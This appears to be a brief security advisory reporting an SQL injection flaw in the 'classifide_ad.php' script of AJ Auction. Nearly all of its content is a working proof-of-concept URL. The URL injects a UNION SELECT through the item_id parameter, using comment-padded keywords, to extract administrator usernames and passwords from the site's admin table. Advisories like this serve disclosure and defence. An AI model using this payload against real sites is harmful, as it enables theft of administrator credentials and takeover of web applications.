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AJ Auction 'classifide_ad.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following proof of concept is available:

http://www.example.com/classifide_ad.php?item_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,CONCAT(user_name,char(58),password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54/**/FROM/**/admin/**/LIMIT/**/0,1/*